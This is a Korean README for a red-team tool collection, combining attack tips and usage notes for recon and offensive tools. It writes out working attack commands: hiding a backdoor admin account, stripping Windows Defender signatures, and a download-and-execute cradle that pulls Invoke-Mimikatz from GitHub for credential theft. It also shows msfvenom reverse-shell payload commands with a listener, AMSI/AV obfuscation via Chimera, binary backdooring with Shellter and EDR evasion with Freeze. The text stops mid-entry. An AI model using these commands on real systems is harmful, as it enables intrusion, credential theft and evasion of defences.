
여러 침투 테스트 도구를 통합한 프로젝트
이 저장소는 200개 이상의 도구와 리소스를 모아놓은 것으로, 레드 팀 활동에 유용할 수 있습니다.
일부 도구는 레드 팀을 위해 특별히 설계되었을 수도 있고, 다른 도구는 더 일반적인 용도로 사용되지만 레드 팀 컨텍스트에 맞게 조정될 수 있습니다.
경고
이 저장소의 자료는 정보 제공 및 교육 목적으로만 제공됩니다. 불법 활동에 사용하기 위한 것이 아닙니다.
참고
화살표로 도구 목록 제목을 숨깁니다.
🔙을 클릭하면 목록으로 돌아갑니다.
git submodule update --init --recursive
### 새 프로젝트 추가```bash
git submodule add https://github.com/example.git
docs: https://git-scm.com/book/en/v2/Git-Tools-Submodules
Red Teamer의 레드팀 팁 모음에서 배워보세요. 이 팁들은 다양한 전술, 도구 및 방법론을 다루어 레드팀 능력을 향상시킵니다.
참고: 거의 모든 팁은 현재 @Alh4zr3d가 제공합니다. 그는 좋은 레드팀 팁을 게시합니다!
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**설명:** _'블루(blue)를 피해 계정을 생성하는 것은 위험하지만, 로컬 관리자를 생성할 때 레지스트리에서 귀여운 마법을 사용하여 숨길 수 있습니다.'_
**크레딧:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**링크:** [트위터](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)서명 삭제로 Windows Defender 비활성화하기```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
설명: '약간 지저분하지만, Windows Defender가 큰 골칫거리라면, 사용자에게 알림이 가는 비활성화 대신, 모든 서명을 삭제하여 무력화하는 것이 좋습니다.'
크레딧: @Alh4zr3d
링크: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**설명:** _'RDP 등을 통해 호스트에 로그인하려고 할 때, 사용자에게 활성 세션이 있는 경우가 있습니다. 사용자당 여러 세션을 활성화하세요.'_
**크레딧:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**링크:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Sysinternals PsExec.exe 로컬 대안```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
설명: 'Sysinternals PsExec.exe를 업로드하며 측면 이동을 하는 데 지치셨나요? Windows에는 더 나은 대안이 기본 설치되어 있습니다. 이것을 대신 사용해 보세요.'
크레딧: @GuhnooPlusLinux
링크: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**설명:** _'가능하면 (여러 이유로) 도구를 머신에 업로드하는 대신 기본 제공 도구를 활용하십시오. PowerShell/.NET 도움. 예: PowerShell에서 간단한 포트 스캐너.'_
**출처:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**링크:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy aware PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
설명: '요즘 대부분의 대규모 조직은 웹 프록시를 사용합니다. 기본 PowerShell 다운로드 크래들은 프록시를 인식하지 못합니다. 이 크래들을 사용하세요.'
출처: @Alh4zr3d
링크: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**설명:** _'사용자의 북마크만으로도 놀라운 정보를 찾을 수 있습니다. 예를 들어, 접근 가능한 내부 엔드포인트 같은 것들요.'_
**출처:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**링크:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)DNS 레코드를 조회하여 열거하기```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
설명: '열거가 게임의 95%를 차지합니다. 하지만 환경을 평가하기 위해 수많은 스캔을 실행하는 것은 매우 시끄럽습니다. DC/DNS 서버에 모든 DNS 레코드를 요청하는 것이 어떨까요?'
출처: @Alh4zr3d
링크: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**설명:** _'PowerUp 없이 따옴표가 없는 서비스 경로 찾기'_
**크레딧:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**링크:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)/k로 비활성화된 명령 프롬프트 우회하기```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
설명: '이 명령 프롬프트는 관리자에 의해 비활성화되었습니다...' 이러한 메시지는 일반적으로 키오스크 PC 환경에서 볼 수 있습니다. 빠른 임시 해결 방법으로 Windows 실행 상자에서 /k를 사용하는 것입니다. 이렇게 하면 명령을 실행한 후 제한 메시지를 표시하여 명령 실행을 가능하게 합니다.
크레딧: Martin Sohn Christensen
링크: 블로그
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**설명:** _'Windows Defender가 mimikatz.exe를 삭제하는 것에 지치셨나요? 대신 이것을 사용해보세요.'_
**출처:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**링크:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)가상 머신에 있는지 확인하기```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
설명: '가상 머신에 있는지 알고 싶으신가요? 레지스트리 키를 조회하여 확인하세요!!! 결과가 나타나면 가상 머신에 있는 것입니다.'
제작자: @dmcxblue
링크: 트위터
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Description:** _'AppLocker는 골칫거리가 될 수 있습니다. 얼마나 골치 아픈지 열거해 보세요'_
**출처:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**링크:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
# 정찰
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
다음과 같은 bash one-liner를 만들었습니다:
- 인증서 연결에서 서브도메인 목록을 수동으로 수집 ([crt.sh](https://crt.sh/))
- 각 서브도메인에 능동적으로 요청하여 존재 여부 확인 ([httprobe](https://github.com/tomnomnom/httprobe))
- 수동 검토를 위해 각 서브도메인을 능동적으로 스크린샷 캡처 ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**사용법:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Note: You must have httprobe, pup and EyeWitness installed and change 'DOMAIN_COM' to the target domain. You are able to run this script concurrently in terminal windows if you have multiple target root domains


페이지의 모든 웹페이지 엔드포인트 링크를 추출하기 위한 JavaScript 북마크릿입니다.
@renniepak이 만든 이 JavaScript 코드 조각은 웹페이지에 포함된 모든 외부 스크립트 소스를 포함하여 현재 웹페이지 DOM에서 ( /로 시작하는) 모든 엔드포인트를 추출하는 데 사용할 수 있습니다.```javascript
javascript: (function () {
var scripts = document.getElementsByTagName("script"),
regex = /(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;
const results = new Set();
for (var i = 0; i < scripts.length; i++) {
var t = scripts[i].src;
"" != t &&
fetch(t)
.then(function (t) {
return t.text();
})
.then(function (t) {
var e = t.matchAll(regex);
for (let r of e) results.add(r[0]);
})
.catch(function (t) {
console.log("An error occurred: ", t);
});
}
var pageContent = document.documentElement.outerHTML,
matches = pageContent.matchAll(regex);
for (const match of matches) results.add(match[0]);
function writeResults() {
results.forEach(function (t) {
document.write(t + "
");
});
}
setTimeout(writeResults, 3e3);
})();
**사용법 (북마클릿)**
북마클릿 만들기...
- `북마크 바를 마우스 오른쪽 버튼으로 클릭`
- `'페이지 추가' 클릭`
- `위의 자바스크립트를 'URL' 상자에 붙여넣기`
- `'저장' 클릭`
...그런 다음 브라우저에서 대상 페이지를 방문하고 북마클릿을 클릭하세요.

**사용법 (콘솔)**
위의 자바스크립트를 콘솔 창(`F12`)에 붙여넣고 Enter 키를 누르세요.

### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
.yaml 템플릿을 사용하여 특정 문제를 검색하는 빠른 취약점 스캐너입니다.
**설치:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
사용법:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/

### [🔙](#tool-list)[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates.git)
<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">커뮤니티에서 선별한 nuclei 엔진용 템플릿 목록으로, 애플리케이션의 보안 취약점을 찾는 데 사용됩니다.</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">문서</a> •
<a href="#-contributions">기여</a> •
<a href="#-discussion">토론</a> •
<a href="#-community">커뮤니티</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQ</a> •
<a href="https://discord.gg/projectdiscovery">DC 참여</a>
</p>
---
템플릿은 실제 스캐닝 엔진을 구동하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
이 저장소는 팀에서 제공하고 커뮤니티에서 기여한 스캐너용 다양한 템플릿을 저장하고 보관합니다.
저희는 여러분도 **풀 리퀘스트** 또는 [Github 이슈](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)를 통해 템플릿을 보내어 목록을 늘리는 데 기여해 주시기를 바랍니다.
## Nuclei Templates 개요
고유 태그, 작성자, 디렉토리, 심각도, 템플릿 유형에 대한 통계를 포함한 nuclei 템플릿 프로젝트 개요입니다. 아래 표에는 각 매트릭스의 상위 10개 통계가 포함되어 있으며, 확장 버전은 [여기](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.md)에서 확인할 수 있으며, 통합을 위해 [JSON](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.json) 형식으로도 제공됩니다.
<table>
<tr>
<td>
## Nuclei Templates 상위 10개 통계
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
| --------- | ----- | ------------ | ----- | -------------------- | ----- | -------- | ----- | ---- | ----- |
| cve | 1855 | dhiyaneshdk | 835 | http | 5860 | info | 2857 | file | 123 |
| panel | 896 | dwisiswant0 | 794 | workflows | 190 | high | 1270 | dns | 18 |
| wordpress | 781 | daffainfo | 664 | file | 123 | medium | 1042 | | |
| exposure | 677 | pikpikcu | 353 | network | 93 | critical | 704 | | |
| wp-plugin | 672 | pdteam | 278 | dns | 18 | low | 216 | | |
| xss | 646 | pussycat0x | 240 | ssl | 12 | unknown | 26 | | |
| osint | 639 | geeknik | 220 | headless | 9 | | | | |
| tech | 602 | ricardomaia | 215 | TEMPLATES-STATS.json | 1 | | | | |
| edb | 596 | ritikchaddha | 210 | contributors.json | 1 | | | | |
| lfi | 548 | 0x_akoko | 179 | cves.json | 1 | | | | |
**404개 디렉토리, 6542개 파일**.
</td>
</tr>
</table>
## 📖 문서
새로운 템플릿이나 자신만의 **맞춤형** 템플릿을 **구축**하는 방법에 대한 자세한 문서는 https://nuclei.projectdiscovery.io를 참조하십시오.
또한 작동 방식을 이해하는 데 도움이 되는 템플릿 세트도 추가했습니다.
## 💪 기여
Nuclei-templates는 커뮤니티의 주요 기여로 운영됩니다.
[템플릿 기여 ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) 및 [버그 보고](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)를 환영합니다.

## 💬 토론
논의할 질문, 의문, 아이디어가 있으신가요?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 게시판에서 자유롭게 토론을 열어 주세요.
## 👨💻 커뮤니티
활발한 [Discord Community](https://discord.gg/projectdiscovery)에 참여하여 프로젝트 관리자와 직접 논의하고 보안 및 자동화 관련 정보를 다른 사람들과 공유하실 수 있습니다.
또한 [Twitter](https://twitter.com/pdnuclei)에서 저희를 팔로우하시면 Nuclei에 대한 모든 업데이트를 받아보실 수 있습니다.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
기여해 주셔서 다시 한번 감사드리며, 이 커뮤니티를 활기차게 유지해 주셔서 감사합니다. :heart:
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff는 제가 Python으로 작성한 Certificate Transparency 로그 키워드 감시자입니다. certstream 라이브러리를 사용하여 파일에 정의된 키워드가 포함된 인증서 생성 로그를 감시합니다.
피해자 도메인과 관련된 여러 키워드를 설정하여 실행할 수 있으며, 인증서 생성이 기록되어 이전에 알지 못했던 도메인을 발견할 수 있습니다.
**설치:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
사용법:```python python3 certSniff.py -f example.txt

### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
피해 웹사이트의 파일/폴더 경로를 무차별 대입하는 데 유용한 도구입니다.
**설치:**```bash
sudo apt install gobuster
사용법:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20

### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
무단 브라우징(Forced Browsing)을 수행하도록 설계된 도구로, 웹 애플리케이션에서 참조되지 않지만 공격자가 여전히 접근할 수 있는 리소스를 열거하고 접근하는 것을 목표로 하는 공격입니다.
Feroxbuster는 무차별 대입을 단어 목록과 결합하여 대상 디렉터리에서 연결되지 않은 콘텐츠를 검색합니다. 이러한 리소스는 소스 코드, 자격 증명, 내부 네트워크 주소 등과 같은 웹 애플리케이션 및 운영 체제에 대한 민감한 정보를 저장할 수 있습니다.
**설치: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
설치: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**설치: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
전체 설치 지침은 여기를 참조하세요.
사용법:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Full usage examples can be found [here](https://epi052.github.io/feroxbuster-docs/docs/examples/).

_Image used from https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif_
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Features:
- Cloud detection (IPINFO API and Source Code)
- Fast (concurrent)
- Cross Platform (windows, linux, mac)
- User-Agent Randomization
- Proxy Randomization (HTTP, Socks5)
**Install:**
Download the latest [release](https://github.com/0xsha/CloudBrute/releases) for your system and follow the usage.
**Usage:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

이미지 출처: https://github.com/0xsha/CloudBrute
dnsrecon은 DNS 레코드(MX, SOA, NS, A, AAAA, SPF, TXT)를 열거하고 단일 도메인 검색에서 피벗할 수 있는 새로운 관련 피해자 호스트를 제공하는 파이썬 도구입니다.
설치:```bash sudo apt install dnsrecon
**사용법:**```bash
dnsrecon -d google.com

Shodan은 공개 인프라를 크롤링하여 검색 가능한 형식으로 표시합니다. 회사명, 도메인명, IP 주소를 사용하여 Shodan을 통해 대상과 관련된 잠재적인 취약 시스템을 발견할 수 있습니다.

서브도메인 열거, DNS 열거, WAF 탐지, WHOIS, 포트 스캔, 웨이백 머신, 이메일 수집을 위한 도구입니다.
설치:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**사용법:**```python
python3 AORT.py -d google.com

도메인이 스푸핑될 수 있는지 확인하는 프로그램입니다. SPF 및 DMARC 레코드의 약한 구성으로 인해 스푸핑이 가능한지 검사합니다. 또한 SPF/DKIM 이메일 실패 시 메일이나 HTTP 요청을 보내는 DMARC 구성이 있는 경우 경고합니다.
다음 조건 중 하나라도 충족되면 도메인은 스푸핑 가능합니다:
~all 또는 -all이 지정되지 않음p=none으로 설정되었거나 존재하지 않음설치:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**사용법:**```bash
./spoofcheck.py [DOMAIN]

AWSBucketDump는 AWS S3 버킷을 빠르게 열거하여 흥미로운 파일을 찾는 도구입니다. 서브도메인 무차별 대입 도구와 유사하지만 S3 버킷 전용으로 만들어졌으며, 파일을 grep하고 흥미로운 파일을 다운로드할 수 있는 추가 기능이 있습니다.
설치:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**사용법:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
정규 표현식을 사용하여 GitHub에서 정보를 찾고, 특정 GitHub 사용자 및/또는 프로젝트를 검색할 수 있는 유용한 도구입니다.
설치:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**사용법:**```
./githarvester.py
TruffleHog는 Git 저장소를 스캔하여 비밀번호나 API 키와 같은 비밀 정보의 존재를 나타낼 수 있는 높은 엔트로피의 문자열과 패턴을 찾는 도구입니다. TruffleHog를 사용하면 실수로 커밋되어 저장소에 푸시된 민감한 정보를 빠르고 쉽게 찾을 수 있습니다.
설치 (바이너리): 링크
설치 (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**사용법:**```
trufflehog https://github.com/trufflesecurity/test_keys

Dismap은 자산 검색 및 식별 도구입니다. 웹/tcp/udp와 같은 프로토콜과 핑거프린트 정보를 신속하게 식별하고, 자산 유형을 파악할 수 있으며, 내부 및 외부 네트워크에 적합합니다.
Dismap은 완벽한 핑거프린트 규칙 데이터베이스를 갖추고 있으며, 현재 tcp/udp/tls 프로토콜 핑거프린트와 4500개 이상의 웹 핑거프린트 규칙을 포함하여 favicon, body, header 등을 식별할 수 있습니다.
설치:
Dismap은 Linux, MacOS, Windows용 바이너리 파일입니다. Release에서 해당 버전을 다운로드하여 실행하세요:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**사용법:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000

이미지 출처: https://github.com/zhzyker/dismap
Windows 및 Samba 시스템에서 정보를 열거하기 위한 도구입니다.
다양한 정보를 수집하는 데 사용될 수 있습니다:
설치: (Apt)```bash sudo apt install enum4linux
**설치: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
사용법:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
전체 사용 정보는 이 [블로그](https://labs.portcullis.co.uk/tools/enum4linux/)에서 확인할 수 있습니다.

_https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/에서 가져온 이미지_
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
엄청나게 빠른 dns/네트워크/포트 스캐너, [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc)가 만들었으며 Rust로 작성되었습니다.
서브도메인 파일이 필요합니다. _예: [Sublist3r의 서브도메인 단어 목록](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)_.
**설치:**
최신 릴리스를 [여기](https://github.com/Esc4iCEscEsc/skanuvaty/releases)에서 다운로드하세요.```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
사용법:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt

_사용된 이미지 출처: https://github.com/Esc4iCEscEsc/skanuvaty_
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor는 인텔리전스 도구로, API 키 없이 OSINT 작업 등을 수행하는 것을 목표로 합니다.
**주요 기능:**
- IP 주소, ASN 및 조직에 대한 정보 검색.
- IP/CIDR에서 rustscan, masscan 및 nmap을 더 효율적으로 실행하기 위한 래퍼.
- 다양한 기술(인증서, whois, Google Analytics 등)을 적용하여 대상의 관련 도메인을 더 많이 찾습니다.
- IP 주소에 대한 요약 가져오기 ([@thebl4ckturtle](https://github.com/theblackturtle) 제공)
**설치:**```bash
go install github.com/j3ssie/metabigor@latest
사용법:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'

> _이미지 출처: https://github.com/j3ssie/metabigor_
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
Gitrob은 Github의 공개 저장소에 푸시된 잠재적으로 민감한 파일을 찾는 데 도움을 주는 도구입니다.
Gitrob은 사용자 또는 조직의 저장소를 구성 가능한 깊이까지 복제하고, 커밋 기록을 반복하며 잠재적으로 민감한 파일의 서명과 일치하는 파일에 플래그를 지정합니다.
결과는 웹 인터페이스를 통해 표시되어 쉽게 탐색하고 분석할 수 있습니다.
**참고:** _Gitrob은 Github API와 상호 작용하기 위해 Github 액세스 토큰이 필요합니다. [개인 액세스 토큰 생성](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) 후 .bashrc 또는 유사한 셸 구성 파일의 환경 변수에 저장하십시오:_```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
설치: (Go)```bash go get github.com/michenriksen/gitrob
**설치: (바이너리)**
각 릴리스에 대해 [미리 컴파일된 버전](https://github.com/michenriksen/gitrob/releases)이 제공됩니다.
**사용법:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json

이미지 출처: https://www.uedbox.com/post/58828/
Gowitness는 Golang으로 작성된 웹사이트 스크린샷 유틸리티로, Chrome Headless를 사용하여 명령줄에서 웹 인터페이스의 스크린샷을 생성하고, 결과를 처리하기 위한 편리한 보고서 뷰어를 제공합니다. Linux와 macOS가 지원되며, Windows도 대부분 작동합니다.
설치: (Go)```bash go install github.com/sensepost/gowitness@latest
전체 설치 정보는 [여기](https://github.com/sensepost/gowitness/wiki/Installation)에서 확인할 수 있습니다.
**사용법:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
전체 사용법 정보는 여기에서 확인할 수 있습니다.

이미지는 https://github.com/sensepost/gowitness 에서 사용됨
Chimera는 AMSI 및 안티바이러스 솔루션을 우회하도록 설계된 PowerShell 난독화 스크립트입니다. AV를 트리거하는 것으로 알려진 악성 PS1 파일을 입력받아 문자열 치환 및 변수 연결을 사용하여 일반적인 탐지 시그니처를 회피합니다.
설치:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help
**사용법:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

Msfvenom은 다양한 운영 체제를 대상으로 광범위한 형식의 페이로드를 생성할 수 있습니다. 또한 AV 우회를 위한 페이로드 난독화를 지원합니다.
리스너 설정```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
#### Msfvenom 명령어
**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta

Shellter는 동적 셸코드 주입 도구이자, 최초의 진정한 동적 PE 감염기입니다.
이 도구는 네이티브 Windows 응용 프로그램(현재는 32비트 응용 프로그램만 지원)에 셸코드를 주입하는 데 사용할 수 있습니다.
Shellter는 PE 파일의 원래 구조를 활용하며, 메모리 접근 권한 변경(사용자가 원하지 않는 한), RWE 접근 권한이 있는 추가 섹션 추가, AV 스캔에서 수상해 보일 수 있는 어떤 수정도 가하지 않습니다.
전체 README 정보는 여기에서 확인할 수 있습니다.
설치: (Kali)```bash apt-get update apt-get install shellter
**설치: (Windows)**
[다운로드 페이지](https://www.shellterproject.com/download/)를 방문하여 설치하세요.
**사용법:**
합법적인 바이너리를 선택하여 백도어를 추가하고 Shellter를 실행하세요.
유용한 팁은 [여기](https://www.shellterproject.com/tipstricks/)에서 찾을 수 있습니다.
다양한 커뮤니티 사용 데모는 [여기](https://www.shellterproject.com/shellter-community-demos/)에서 확인할 수 있습니다.

_이미지 출처: https://www.kali.org/tools/shellter/images/shellter.png_
### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)
Freeze는 EDR 보안 제어를 우회하여 셸코드를 은밀하게 실행하기 위한 페이로드 생성 도구입니다.
Freeze는 Userland EDR 후크를 제거할 뿐만 아니라 다른 엔드포인트 모니터링 제어를 우회하는 방식으로 셸코드를 실행하기 위해 여러 기술을 활용합니다.
**설치:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go
사용법:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)

_출처: https://www.blackhatethicalhacking.com/tools/freeze/_
### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)
